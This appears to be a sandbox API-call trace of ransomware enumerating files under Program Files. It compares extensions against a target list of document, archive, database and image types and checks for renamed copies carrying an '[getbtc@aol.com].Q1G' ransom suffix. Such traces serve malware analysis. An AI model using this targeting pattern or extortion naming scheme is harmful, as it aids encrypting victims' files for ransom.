lstrlenW (lpString=".doc") returned 4 [0236.231] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString=".docx") returned 5 [0236.231] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.231] lstrlenW (lpString=".pdf") returned 4 [0236.231] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString=".xls") returned 4 [0236.231] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.231] lstrlenW (lpString=".xlsx") returned 5 [0236.231] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.231] lstrlenW (lpString=".ppt") returned 4 [0236.231] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString=".zip") returned 4 [0236.231] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.231] lstrlenW (lpString=".rar") returned 4 [0236.231] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString=".bz2") returned 4 [0236.231] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString=".7z") returned 3 [0236.231] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString=".dbf") returned 4 [0236.231] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.232] lstrlenW (lpString=".1cd") returned 4 [0236.232] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.232] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.232] lstrlenW (lpString=".jpg") returned 4 [0236.232] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.232] Sleep (dwMilliseconds=0x64) [0236.365] Sleep (dwMilliseconds=0x64) [0236.478] Sleep (dwMilliseconds=0x64) [0236.581] Sleep (dwMilliseconds=0x64) [0236.722] Sleep (dwMilliseconds=0x64) [0236.994] Sleep (dwMilliseconds=0x64) [0237.134] Sleep (dwMilliseconds=0x64) [0237.256] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0237.256] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0237.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.354] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3584) returned 1 [0237.354] CloseHandle (hObject=0x210) returned 1 [0237.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0237.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.354] lstrlenW (lpString=".doc") returned 4 [0237.354] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.354] lstrlenW (lpString=".docx") returned 5 [0237.354] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.354] lstrlenW (lpString=".pdf") returned 4 [0237.354] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.354] lstrlenW (lpString=".xls") returned 4 [0237.354] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.354] lstrlenW (lpString=".xlsx") returned 5 [0237.355] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.355] lstrlenW (lpString=".ppt") returned 4 [0237.355] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString=".zip") returned 4 [0237.355] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.355] lstrlenW (lpString=".rar") returned 4 [0237.355] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.355] lstrlenW (lpString=".bz2") returned 4 [0237.355] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.355] lstrlenW (lpString=".7z") returned 3 [0237.355] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString=".dbf") returned 4 [0237.355] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString=".1cd") returned 4 [0237.355] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString=".jpg") returned 4 [0237.355] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.355] lstrlenW (lpString=".doc") returned 4 [0237.355] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.355] lstrlenW (lpString=".docx") returned 5 [0237.355] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.355] lstrlenW (lpString=".pdf") returned 4 [0237.355] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.355] lstrlenW (lpString=".xls") returned 4 [0237.355] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.355] lstrlenW (lpString=".xlsx") returned 5 [0237.355] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.355] lstrlenW (lpString=".ppt") returned 4 [0237.356] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.356] lstrlenW (lpString=".zip") returned 4 [0237.356] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.356] lstrlenW (lpString=".rar") returned 4 [0237.356] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.356] lstrlenW (lpString=".bz2") returned 4 [0237.356] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.356] lstrlenW (lpString=".7z") returned 3 [0237.356] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.356] lstrlenW (lpString=".dbf") returned 4 [0237.377] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.384] lstrlenW (lpString=".1cd") returned 4 [0237.386] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0237.396] lstrlenW (lpString=".jpg") returned 4 [0237.396] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.396] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0237.397] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0237.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0237.485] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3584) returned 1 [0237.485] CloseHandle (hObject=0x210) returned 1 [0237.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0237.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.486] lstrlenW (lpString=".doc") returned 4 [0237.486] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.486] lstrlenW (lpString=".docx") returned 5 [0237.486] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.486] lstrlenW (lpString=".pdf") returned 4 [0237.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.486] lstrlenW (lpString=".xls") returned 4 [0237.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.486] lstrlenW (lpString=".xlsx") returned 5 [0237.486] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.486] lstrlenW (lpString=".ppt") returned 4 [0237.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.486] lstrlenW (lpString=".zip") returned 4 [0237.486] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.486] lstrlenW (lpString=".rar") returned 4 [0237.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.486] lstrlenW (lpString=".bz2") returned 4 [0237.486] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.486] lstrlenW (lpString=".7z") returned 3 [0237.486] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.486] lstrlenW (lpString=".dbf") returned 4 [0237.486] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".1cd") returned 4 [0237.487] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".jpg") returned 4 [0237.487] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".doc") returned 4 [0237.487] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString=".docx") returned 5 [0237.487] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0237.487] lstrlenW (lpString=".pdf") returned 4 [0237.487] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0237.487] lstrlenW (lpString=".xls") returned 4 [0237.487] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0237.487] lstrlenW (lpString=".xlsx") returned 5 [0237.487] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0237.487] lstrlenW (lpString=".ppt") returned 4 [0237.487] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".zip") returned 4 [0237.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0237.487] lstrlenW (lpString=".rar") returned 4 [0237.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0237.487] lstrlenW (lpString=".bz2") returned 4 [0237.487] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString=".7z") returned 3 [0237.487] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".dbf") returned 4 [0237.487] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".1cd") returned 4 [0237.487] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0237.487] lstrlenW (lpString=".jpg") returned 4 [0237.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0237.488] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0237.488] lstrlenW (lpString="tipresx.dll") returned 11 [0237.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0237.622] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=12288) returned 1 [0237.631] CloseHandle (hObject=0x338) returned 1 [0237.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0237.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.641] lstrlenW (lpString=".doc") returned 4 [0237.641] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString=".docx") returned 5 [0237.641] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0237.641] lstrlenW (lpString=".pdf") returned 4 [0237.641] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString=".xls") returned 4 [0237.641] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString=".xlsx") returned 5 [0237.641] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0237.641] lstrlenW (lpString=".ppt") returned 4 [0237.641] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.641] lstrlenW (lpString=".zip") returned 4 [0237.641] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString=".rar") returned 4 [0237.641] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.641] lstrlenW (lpString=".bz2") returned 4 [0237.641] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.641] lstrlenW (lpString=".7z") returned 3 [0237.642] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".dbf") returned 4 [0237.642] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".1cd") returned 4 [0237.642] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".jpg") returned 4 [0237.642] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".doc") returned 4 [0237.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString=".docx") returned 5 [0237.642] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0237.642] lstrlenW (lpString=".pdf") returned 4 [0237.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString=".xls") returned 4 [0237.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString=".xlsx") returned 5 [0237.642] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0237.642] lstrlenW (lpString=".ppt") returned 4 [0237.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".zip") returned 4 [0237.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString=".rar") returned 4 [0237.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0237.642] lstrlenW (lpString=".bz2") returned 4 [0237.642] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0237.642] lstrlenW (lpString=".7z") returned 3 [0237.642] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.642] lstrlenW (lpString=".dbf") returned 4 [0237.642] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0237.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.643] lstrlenW (lpString=".1cd") returned 4 [0237.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0237.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0237.643] lstrlenW (lpString=".jpg") returned 4 [0237.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0237.643] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0237.643] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0237.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0237.976] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=24976) returned 1 [0237.976] CloseHandle (hObject=0x324) returned 1 [0237.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0237.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0237.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.977] lstrlenW (lpString=".doc") returned 4 [0237.977] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0237.977] lstrlenW (lpString=".docx") returned 5 [0237.977] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0237.978] lstrlenW (lpString=".pdf") returned 4 [0237.978] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".xls") returned 4 [0237.978] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".xlsx") returned 5 [0237.978] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0237.978] lstrlenW (lpString=".ppt") returned 4 [0237.978] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString=".zip") returned 4 [0237.978] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".rar") returned 4 [0237.978] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".bz2") returned 4 [0237.978] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0237.978] lstrlenW (lpString=".7z") returned 3 [0237.978] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString=".dbf") returned 4 [0237.978] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString=".1cd") returned 4 [0237.978] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString=".jpg") returned 4 [0237.978] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.978] lstrlenW (lpString=".doc") returned 4 [0237.978] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".docx") returned 5 [0237.978] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0237.978] lstrlenW (lpString=".pdf") returned 4 [0237.978] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".xls") returned 4 [0237.978] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0237.978] lstrlenW (lpString=".xlsx") returned 5 [0237.979] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0237.979] lstrlenW (lpString=".ppt") returned 4 [0237.979] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0237.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.979] lstrlenW (lpString=".zip") returned 4 [0237.979] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0237.979] lstrlenW (lpString=".rar") returned 4 [0237.979] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0237.979] lstrlenW (lpString=".bz2") returned 4 [0237.979] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0237.979] lstrlenW (lpString=".7z") returned 3 [0237.979] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0237.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.979] lstrlenW (lpString=".dbf") returned 4 [0237.979] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0237.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.979] lstrlenW (lpString=".1cd") returned 4 [0237.979] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0237.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0237.979] lstrlenW (lpString=".jpg") returned 4 [0237.979] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0237.979] lstrcmpiW (lpString1=".INF", lpString2=".Q1G") returned -1 [0237.979] lstrlenW (lpString="COMPASS.INF") returned 11 [0237.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0238.019] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=486) returned 1 [0238.019] 